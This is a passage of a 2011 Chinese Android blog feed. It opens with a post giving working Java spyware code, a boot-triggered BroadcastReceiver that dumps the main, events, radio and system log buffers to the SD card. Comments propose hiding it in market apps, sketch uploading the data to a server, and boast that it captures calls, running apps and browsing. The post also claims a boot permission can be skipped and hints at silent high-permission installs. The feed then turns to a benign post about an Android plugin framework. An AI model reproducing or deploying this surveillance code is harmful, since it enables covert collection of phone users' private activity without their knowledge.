#0000ff;"&gt;void&lt;/span&gt; onReceive(Context context, Intent intent) {&lt;br /&gt;        ................&lt;br /&gt;    }&lt;br /&gt;}&lt;/div&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;其实呢，完全可以不必声明权限，照样使用。&lt;/p&gt;&lt;p&gt;android的包管理器在检测到用户要安装apk时，只是扫描一下清单中的权限声明，然后列出权限警告给用户，上面根本没有声明这个权限，所以不会列出来，但不影响使用，这个bug一直坚守到了4.0.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 16px;"&gt;&lt;strong&gt;2、窥探隐私&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;我们要记录用户的一切，从开机开始！&lt;/p&gt;&lt;p&gt;安卓的一些调试工具，是默认集成在rom中的，比如logcat，不止是sdk中携带，而是每部安卓手机以及平板都有的。&lt;/p&gt;&lt;p&gt;而且，安卓框架会向log缓冲区写入所有的Log，具体是这几类：&lt;span style="color: #ff6600;"&gt;main&lt;/span&gt;、&lt;span style="color: #ff6600;"&gt;events&lt;/span&gt;、&lt;span style="color: #ff6600;"&gt;radio&lt;/span&gt;、&lt;span style="color: #ff6600;"&gt;system&lt;/span&gt;。这些Log缓冲区基本上涵盖了手机运行的方方面面。&lt;/p&gt;&lt;p&gt;进入正题，我们会用到Process类，也就是进程类，dalvik会分裂出一个进程来执行其它本地程序，就像在shell中打入命令，shell分裂一个进程来运行它一样，我们只需要把shell下的命令写成字符串，直接扔给process即可。&lt;/p&gt;&lt;p&gt;别忘了再加入这两个权限&lt;/p&gt;&lt;div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"&gt;    &lt;span style="color: #0000ff;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000;"&gt;uses-permission &lt;/span&gt;&lt;span style="color: #ff0000;"&gt;android:name&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;="android.permission.READ_LOGS"&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;/&amp;gt;&lt;/span&gt;&lt;br /&gt;    &lt;span style="color: #0000ff;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000;"&gt;uses-permission &lt;/span&gt;&lt;span style="color: #ff0000;"&gt;android:name&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;="android.permission.WRITE_EXTERNAL_STORAGE"&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;/&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"&gt;&lt;span style="color: #008080;"&gt;  1&lt;/span&gt; &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;简单的示例，这些代码可以附加到某个market的应用里，比如游戏等等&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt;  2&lt;/span&gt; &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;其实有些广告的sdk，需要一大堆权限，好多都需要开机启动&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt;  3&lt;/span&gt; &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;我想，可能是收集用户信息来分析用户的行为，来进行定点投放广告吧&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt;  4&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;public&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;class&lt;/span&gt; HackReceiver &lt;span style="color: #0000ff;"&gt;extends&lt;/span&gt; BroadcastReceiver {&lt;br /&gt;&lt;span style="color: #008080;"&gt;  5&lt;/span&gt; &lt;br /&gt;&lt;span style="color: #008080;"&gt;  6&lt;/span&gt;     @Override&lt;br /&gt;&lt;span style="color: #008080;"&gt;  7&lt;/span&gt;     &lt;span style="color: #0000ff;"&gt;public&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;void&lt;/span&gt; onReceive(Context context, Intent intent) {&lt;br /&gt;&lt;span style="color: #008080;"&gt;  8&lt;/span&gt;         &lt;br /&gt;&lt;span style="color: #008080;"&gt;  9&lt;/span&gt;         &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;/main&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt; 10&lt;/span&gt;         Runnable r1=&lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; Runnable() {&lt;br /&gt;&lt;span style="color: #008080;"&gt; 11&lt;/span&gt;             &lt;br /&gt;&lt;span style="color: #008080;"&gt; 12&lt;/span&gt;             @Override&lt;br /&gt;&lt;span style="color: #008080;"&gt; 13&lt;/span&gt;             &lt;span style="color: #0000ff;"&gt;public&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;void&lt;/span&gt; run() {&lt;br /&gt;&lt;span style="color: #008080;"&gt; 14&lt;/span&gt;                 writeLog("org.igeek.hack.main.log", "main");&lt;br /&gt;&lt;span style="color: #008080;"&gt; 15&lt;/span&gt;             }&lt;br /&gt;&lt;span style="color: #008080;"&gt; 16&lt;/span&gt;         };&lt;br /&gt;&lt;span style="color: #008080;"&gt; 17&lt;/span&gt;         &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;/events&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt; 18&lt;/span&gt;         Runnable r2=&lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; Runnable() {&lt;br /&gt;&lt;span style="color: #008080;"&gt; 19&lt;/span&gt;             &lt;br /&gt;&lt;span style="color: #008080;"&gt; 20&lt;/span&gt;             @Override&lt;br /&gt;&lt;span style="color: #008080;"&gt; 21&lt;/span&gt;             &lt;span style="color: #0000ff;"&gt;public&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;void&lt;/span&gt; run() {&lt;br /&gt;&lt;span style="color: #008080;"&gt; 22&lt;/span&gt;                 writeLog("org.igeek.hack.events.log", "events");&lt;br /&gt;&lt;span style="color: #008080;"&gt; 23&lt;/span&gt;             }&lt;br /&gt;&lt;span style="color: #008080;"&gt; 24&lt;/span&gt;         };&lt;br /&gt;&lt;span style="color: #008080;"&gt; 25&lt;/span&gt;         &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;/radio&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt; 26&lt;/span&gt;         Runnable r3=&lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; Runnable() {&lt;br /&gt;&lt;span style="color: #008080;"&gt; 27&lt;/span&gt;             &lt;br /&gt;&lt;span style="color: #008080;"&gt; 28&lt;/span&gt;             @Override&lt;br /&gt;&lt;span style="color: #008080;"&gt; 29&lt;/span&gt;             &lt;span style="color: #0000ff;"&gt;public&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;void&lt;/span&gt; run() {&lt;br /&gt;&lt;span style="color: #008080;"&gt; 30&lt;/span&gt;                 writeLog("org.igeek.hack.radio.log", "radio");&lt;br /&gt;&lt;span style="color: #008080;"&gt; 31&lt;/span&gt;             }&lt;br /&gt;&lt;span style="color: #008080;"&gt; 32&lt;/span&gt;         };&lt;br /&gt;&lt;span style="color: #008080;"&gt; 33&lt;/span&gt;         &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;/system&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt; 34&lt;/span&gt;         Runnable r4=&lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; Runnable() {&lt;br /&gt;&lt;span style="color: #008080;"&gt; 35&lt;/span&gt;             &lt;br /&gt;&lt;span style="color: #008080;"&gt; 36&lt;/span&gt;             @Override&lt;br /&gt;&lt;span style="color: #008080;"&gt; 37&lt;/span&gt;             &lt;span style="color: #0000ff;"&gt;public&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;void&lt;/span&gt; run() {&lt;br /&gt;&lt;span style="color: #008080;"&gt; 38&lt;/span&gt;                 writeLog("org.igeek.hack.system.log", "system");&lt;br /&gt;&lt;span style="color: #008080;"&gt; 39&lt;/span&gt;             }&lt;br /&gt;&lt;span style="color: #008080;"&gt; 40&lt;/span&gt;         };&lt;br /&gt;&lt;span style="color: #008080;"&gt; 41&lt;/span&gt;         &lt;br /&gt;&lt;span style="color: #008080;"&gt; 42&lt;/span&gt;         Thread t1=&lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; Thread(r1);&lt;br /&gt;&lt;span style="color: #008080;"&gt; 43&lt;/span&gt;         Thread t2=&lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; Thread(r2);&lt;br /&gt;&lt;span style="color: #008080;"&gt; 44&lt;/span&gt;         Thread t3=&lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; Thread(r3);&lt;br /&gt;&lt;span style="color: #008080;"&gt; 45&lt;/span&gt;         Thread t4=&lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; Thread(r4);&lt;br /&gt;&lt;span style="color: #008080;"&gt; 46&lt;/span&gt;         &lt;br /&gt;&lt;span style="color: #008080;"&gt; 47&lt;/span&gt;         &lt;br /&gt;&lt;span style="color: #008080;"&gt; 48&lt;/span&gt;         &lt;br /&gt;&lt;span style="color: #008080;"&gt; 49&lt;/span&gt;          t1.start();&lt;br /&gt;&lt;span style="color: #008080;"&gt; 50&lt;/span&gt;           t2.start();&lt;br /&gt;&lt;span style="color: #008080;"&gt; 51&lt;/span&gt;           t3.start();&lt;br /&gt;&lt;span style="color: #008080;"&gt; 52&lt;/span&gt;           t4.start();&lt;br /&gt;&lt;span style="color: #008080;"&gt; 53&lt;/span&gt;     }&lt;br /&gt;&lt;span style="color: #008080;"&gt; 54&lt;/span&gt;     &lt;br /&gt;&lt;span style="color: #008080;"&gt; 55&lt;/span&gt;     &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;你懂得&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt; 56&lt;/span&gt;     &lt;span style="color: #0000ff;"&gt;private&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;void&lt;/span&gt; writeLog(String file,String content){&lt;br /&gt;&lt;span style="color: #008080;"&gt; 57&lt;/span&gt;         &lt;span style="color: #0000ff;"&gt;try&lt;/span&gt; {&lt;br /&gt;&lt;span style="color: #008080;"&gt; 58&lt;/span&gt;             StringBuilder command = &lt;span style="color: #0000ff;"&gt;new&lt;/span&gt;  StringBuilder("logcat" );&lt;br /&gt;&lt;span style="color: #008080;"&gt; 59&lt;/span&gt;             &lt;br /&gt;&lt;span style="color: #008080;"&gt; 60&lt;/span&gt;             File devFile = &lt;span style="color: #0000ff;"&gt;new&lt;/span&gt;  File( Environment.getExternalStorageDirectory(),file );&lt;br /&gt;&lt;span style="color: #008080;"&gt; 61&lt;/span&gt;             &lt;span style="color: #0000ff;"&gt;if&lt;/span&gt; (devFile.createNewFile()){&lt;br /&gt;&lt;span style="color: #008080;"&gt; 62&lt;/span&gt;                 command.append(" -b " ).append(content);&lt;br /&gt;&lt;span style="color: #008080;"&gt; 63&lt;/span&gt;                 &lt;br /&gt;&lt;span style="color: #008080;"&gt; 64&lt;/span&gt;                 &lt;br /&gt;&lt;span style="color: #008080;"&gt; 65&lt;/span&gt;                 &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;命令格式是： logcat -b main&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt; 66&lt;/span&gt; &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;logcat -b radio 等等    &lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt; 67&lt;/span&gt;                 Process process = Runtime.getRuntime().exec(command.toString());&lt;br /&gt;&lt;span style="color: #008080;"&gt; 68&lt;/span&gt;                 &lt;br /&gt;&lt;span style="color: #008080;"&gt; 69&lt;/span&gt;                 &lt;br /&gt;&lt;span style="color: #008080;"&gt; 70&lt;/span&gt;                 &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;这里，将本地程序的标准输出，也就是std::out转成java的输入流&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt; 71&lt;/span&gt;                 InputStream input =  process.getInputStream();&lt;br /&gt;&lt;span style="color: #008080;"&gt; 72&lt;/span&gt;                 BufferedReader reader  =  &lt;span style="color: #0000ff;"&gt;new&lt;/span&gt;  BufferedReader( &lt;span style="color: #0000ff;"&gt;new&lt;/span&gt;  InputStreamReader(input));&lt;br /&gt;&lt;span style="color: #008080;"&gt; 73&lt;/span&gt;                 &lt;br /&gt;&lt;span style="color: #008080;"&gt; 74&lt;/span&gt;                 &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;再把转入的输入流搞成输出流，这里放到sd卡的目录里面&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt; 75&lt;/span&gt;                 FileOutputStream output=&lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; FileOutputStream(devFile);&lt;br /&gt;&lt;span style="color: #008080;"&gt; 76&lt;/span&gt;                 BufferedOutputStream bot=&lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; BufferedOutputStream(output);&lt;br /&gt;&lt;span style="color: #008080;"&gt; 77&lt;/span&gt;                 &lt;br /&gt;&lt;span style="color: #008080;"&gt; 78&lt;/span&gt;                 Log.e("hack", "记录LOG -&amp;gt; "+"sd:"+file);&lt;br /&gt;&lt;span style="color: #008080;"&gt; 79&lt;/span&gt;                 String log;&lt;br /&gt;&lt;span style="color: #008080;"&gt; 80&lt;/span&gt;                 &lt;span style="color: #0000ff;"&gt;while&lt;/span&gt;((log = reader.readLine()) != &lt;span style="color: #0000ff;"&gt;null&lt;/span&gt;){&lt;br /&gt;&lt;span style="color: #008080;"&gt; 81&lt;/span&gt;                     &lt;br /&gt;&lt;span style="color: #008080;"&gt; 82&lt;/span&gt;                     &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;其实在输入流获取后，可以根据规则摘取想要的信息&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt; 83&lt;/span&gt; &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;没有必要通吃&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt; 84&lt;/span&gt; &lt;span style="color: #008000;"&gt;                    &lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt; 85&lt;/span&gt; &lt;span style="color: #008000;"&gt;                    &lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt; 86&lt;/span&gt; &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;在关机前，这个循环是很难跳出的&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt; 87&lt;/span&gt;                     bot.write(log.getBytes());&lt;br /&gt;&lt;span style="color: #008080;"&gt; 88&lt;/span&gt;                     &lt;br /&gt;&lt;span style="color: #008080;"&gt; 89&lt;/span&gt;                     &lt;br /&gt;&lt;span style="color: #008080;"&gt; 90&lt;/span&gt;                     &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;这里呢，可以学学骑驴250，将获取的数据上传到服务器&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt; 91&lt;/span&gt;                     &lt;span style="color: #008000;"&gt;/*&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt; 92&lt;/span&gt; &lt;span style="color: #008000;"&gt;                     伪代码&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt; 93&lt;/span&gt; &lt;span style="color: #008000;"&gt;                     &lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt; 94&lt;/span&gt; &lt;span style="color: #008000;"&gt;                     在清单中添加个Internet权限，相信用户也不会多心的&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt; 95&lt;/span&gt; &lt;span style="color: #008000;"&gt;                     &lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt; 96&lt;/span&gt; &lt;span style="color: #008000;"&gt;                     &lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt; 97&lt;/span&gt; &lt;span style="color: #008000;"&gt;                     go:连接服务器&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt; 98&lt;/span&gt; &lt;span style="color: #008000;"&gt;                     go:压缩并上传数据&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt; 99&lt;/span&gt; &lt;span style="color: #008000;"&gt;                     &lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt;100&lt;/span&gt; &lt;span style="color: #008000;"&gt;                     &lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt;101&lt;/span&gt; &lt;span style="color: #008000;"&gt;*/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #008080;"&gt;102&lt;/span&gt;                 }&lt;br /&gt;&lt;span style="color: #008080;"&gt;103&lt;/span&gt;                 bot.close();&lt;br /&gt;&lt;span style="color: #008080;"&gt;104&lt;/span&gt;                 output.close();&lt;br /&gt;&lt;span style="color: #008080;"&gt;105&lt;/span&gt;                 reader.close();&lt;br /&gt;&lt;span style="color: #008080;"&gt;106&lt;/span&gt;                 input.close();&lt;br /&gt;&lt;span style="color: #008080;"&gt;107&lt;/span&gt;             &lt;br /&gt;&lt;span style="color: #008080;"&gt;108&lt;/span&gt;                 &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;亲手测试一下，你会惊讶的发现，谁给你打电话、你当前运行什么程序、&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt;109&lt;/span&gt; &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;你看什么不该看的网页，都一一记录在案&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt;110&lt;/span&gt;                 &lt;br /&gt;&lt;span style="color: #008080;"&gt;111&lt;/span&gt;                     &lt;br /&gt;&lt;span style="color: #008080;"&gt;112&lt;/span&gt;             }    &lt;br /&gt;&lt;span style="color: #008080;"&gt;113&lt;/span&gt;         } &lt;span style="color: #0000ff;"&gt;catch&lt;/span&gt; (IOException e) {&lt;br /&gt;&lt;span style="color: #008080;"&gt;114&lt;/span&gt;             &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;have a nice day&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt;115&lt;/span&gt;             e.printStackTrace();&lt;br /&gt;&lt;span style="color: #008080;"&gt;116&lt;/span&gt;         }&lt;br /&gt;&lt;span style="color: #008080;"&gt;117&lt;/span&gt;     }&lt;br /&gt;&lt;span style="color: #008080;"&gt;118&lt;/span&gt; &lt;br /&gt;&lt;span style="color: #008080;"&gt;119&lt;/span&gt; }&lt;/div&gt;&lt;p&gt;&lt;br /&gt;就说这么多，感兴趣的可以研究研究market的安装方法，以及market uri，可以做到0权限静默安装高权限apk。&lt;/p&gt;&lt;p&gt;&amp;nbsp;最后，请关注我的&amp;nbsp;&lt;a href="http://www.cnblogs.com/hangxin1940/category/349235.html"&gt;抛砖引玉&lt;/a&gt;&amp;nbsp;系列，会有更多精彩内容&lt;/p&gt;&lt;p&gt;&lt;span style="color: #ffcc00;"&gt;原创，转载请注明 &amp;nbsp;http://hangxin1940.cnblogs.com&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="color: #ff6600;"&gt;&lt;strong&gt;这里仅当抛砖引玉，本人水平有限，难免有些疏漏或者错误，还请指正！！！&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;img src="http://www.cnblogs.com/hangxin1940/aggbug/2306863.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/hangxin1940/archive/2011/12/30/2306863.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/hangxin1940/archive/2011/12/17/2291380.html</id><title type="text">安卓应用程序插件化开发框架 -AAP Framework</title><summary type="text">上篇博文，介绍了一种安卓开发中程序插件化的方法，想想应该可以搞的更方便些，于是花了4天时间把框架做出来了，希望能对大家有用。android-application-plug-ins-frame-work安卓应用程序插件化开发框架 -AAP Framework介绍这个框架的初衷，是为了方便让程序模块化、插件化，将一个apk应用拆分为多个apk。不明白这个插件化、模块化是怎么回事的话，可以看看腾讯微信的安卓客户端中的插件配置。在这里我会以腾讯微信为例，如何使用这个框架。 (腾讯微信并不是真正的插件化，它是伪的，插件并非与它的主程序分离开，结果就是每次插件的更新，都必须以整个程序的更新为代价)都能干</summary><published>2011-12-17T13:42:00Z</published><updated>2011-12-17T13:42:00Z</updated><author><name>黑暗伯爵</name><uri>http://www.cnblogs.com/hangxin1940/</uri></author><link rel="alternate" href="http://www.cnblogs.com/hangxin1940/archive/2011/12/17/2291380.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/hangxin1940/archive/2011/12/17/2291380.html"/><content type="html">&lt;p&gt;&lt;a href="http://www.cnblogs.com/hangxin1940/archive/2011/12/14/2288169.html" target="_blank"&gt;上篇博文&lt;/a&gt;，介绍了一种安卓开发中程序插件化的方法，想想应该可以搞的更方便些，于是花了4天时间把框架做出来了，希望能对大家有用。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;table cellspacing="0" cellpadding="0"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td id="plogo"&gt;&lt;a href="http://code.google.com/p/android-application-plug-ins-frame-work/"&gt;&lt;img src="http://code.google.com/p/android-application-plug-ins-frame-work/logo?cct=1324057482" alt="Logo" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;div id="pname"&gt;&lt;a href="http://code.google.com/p/android-application-plug-ins-frame-work/"&gt;&lt;span&gt;android-application-plug-ins-frame-work&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div id="psum"&gt;&lt;a id="project_summary_link" href="http://code.google.com/p/android-application-plug-ins-frame-work/"&gt;&lt;span&gt;安卓应用程序插件化开发框架 -AAP Framework&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;介绍&lt;/strong&gt;&lt;/p&gt;&lt;blockquote style='border:2px solid #EFEFEF;color:#333333;padding:5px 10px;'&gt;这个框架的初衷，是为了方便让程序模块化、插件化，将一个apk应用拆分为多个apk。&lt;/blockquote&gt;&lt;blockquote style='border:2px solid #EFEFEF;color:#333333;padding:5px 10px;'&gt;不明白这个插件化、模块化是怎么回事的话，可以看看腾讯微信的安卓客户端中的插件配置。&lt;/blockquote&gt;&lt;blockquote style='border:2px solid #EFEFEF;color:#333333;padding:5px 10px;'&gt;在这里我会以腾讯微信为例，如何使用这个框架。 (&lt;strong&gt;腾讯微信并不是真正的插件化，它是伪的，插件并非与它的主程序分离开，结果就是每次插件的更新，都必须以整个程序的更新为代价&lt;/strong&gt;)&lt;/blockquote&gt;&lt;p&gt;&lt;strong&gt;&lt;a name="都能干啥"&gt;&lt;/a&gt;都能干啥&lt;/strong&gt;&lt;/p&gt;&lt;blockquote style='border:2px solid #EFEFEF;color:#333333;padding:5px 10px;'&gt;框架的思想，主要是通过apk清单文件中的sharedUserId属性来吧多个apk融合为单一的dalvik虚拟机，也就是融合为一个进程，这样就变相逾越了android框架中不同apk权限不同无法互通的鸿沟(rpc啦什么的其它的毕竟不如这个来的实在)。&lt;/blockquote&gt;&lt;blockquote style='border:2px solid #EFEFEF;color:#333333;padding:5px 10px;'&gt;从最简单的皮肤插件到复杂的涉及数据库的拓展功能，从普通activity跳转到把插件的activity转变为view并附加到主程序中的拓展功能，都是可以通过本框架来实现的，当然，本框架只是提供了一种途径，如何编码还得靠自己。&lt;/blockquote&gt;&lt;blockquote style='border:2px solid #EFEFEF;color:#333333;padding:5px 10px;'&gt;本人能力有限，可能有一些错误、疏漏或者不足之处，请不吝指教，我的博客地址在左下角，或者我的邮箱，都可以联系到我。&lt;/blockquote&gt;&lt;blockquote style='border:2px solid #EFEFEF;color:#333333;padding:5px 10px;'&gt;ps:下面会以腾讯微信为例，这里声明一下，本人没有对微信安卓客户端进行任意形式的反编译与破解工作，只是看球半天进行简单的猜测而已。&lt;/blockquote&gt;&lt;p&gt;&lt;strong&gt;&lt;a name="框架结构"&gt;&lt;/a&gt;框架结构&lt;/strong&gt;&lt;/p&gt;&lt;blockquote style='border:2px solid #EFEFEF;color:#333333;padding:5px 10px;'&gt;本插件框架由三个包组成：&lt;/blockquote&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;org.igeek.android.pluginframework&amp;nbsp;&lt;strong&gt;&lt;em&gt;这个包种类是框架的主要操作类&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;&lt;ol&gt;&lt;li&gt;PluginBuilder&lt;a href="http://code.google.com/p/android-application-plug-ins-frame-work/w/edit/PluginBuilder"&gt;?&lt;/a&gt;&amp;nbsp;&lt;strong&gt;&lt;em&gt;组装插件&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;&lt;li&gt;PluginDescription&lt;a href="http://code.google.com/p/android-application-plug-ins-frame-work/w/edit/PluginDescription"&gt;?&lt;/a&gt;&amp;nbsp;&lt;strong&gt;&lt;em&gt;组装用户自定义的插件描述&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;&lt;li&gt;PluginInvoke&lt;a href="http://code.google.com/p/android-application-plug-ins-frame-work/w/edit/PluginInvoke"&gt;?&lt;/a&gt;&amp;nbsp;&lt;strong&gt;&lt;em&gt;插件功能调用&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;&lt;li&gt;PluginSearch&lt;a href="http://code.google.com/p/android-application-plug-ins-frame-work/w/edit/PluginSearch"&gt;?&lt;/a&gt;&amp;nbsp;&lt;strong&gt;&lt;em&gt;查找插件&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;&lt;/ol&gt;&lt;li&gt;org.igeek.android.pluginframework.annotation&amp;nbsp;&lt;strong&gt;&lt;em&gt;未来可能会考虑使用注解&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;&lt;ol&gt;&lt;li&gt;PluginDescription&lt;a href="http://code.google.com/p/android-application-plug-ins-frame-work/w/edit/PluginDescription"&gt;?&lt;/a&gt;&amp;nbsp;&lt;strong&gt;&lt;em&gt;用于用户自定义描述类的注解&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;&lt;li&gt;PluginFeature&lt;a href="http://code.google.com/p/android-application-plug-ins-frame-work/w/edit/PluginFeature"&gt;?&lt;/a&gt;&amp;nbsp;&lt;strong&gt;&lt;em&gt;用于插件类的注解&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;&lt;li&gt;PluginMethod&lt;a href="http://code.google.com/p/android-application-plug-ins-frame-work/w/edit/PluginMethod"&gt;?&lt;/a&gt;&amp;nbsp;&lt;strong&gt;&lt;em&gt;用于插件类方法的注解&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;&lt;/ol&gt;&lt;li&gt;org.igeek.android.pluginframework.beans&amp;nbsp;&lt;strong&gt;&lt;em&gt;框架内部使用的一些beans&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;&lt;ol&gt;&lt;li&gt;Plugin&amp;nbsp;&lt;strong&gt;&lt;em&gt;插件包&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;&lt;li&gt;PluginFeature&lt;a href="http://code.google.com/p/android-application-plug-ins-frame-work/w/edit/PluginFeature"&gt;?&lt;/a&gt;&amp;nbsp;&lt;strong&gt;&lt;em&gt;插件类&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;&lt;li&gt;PluginFeatureMethod&lt;a 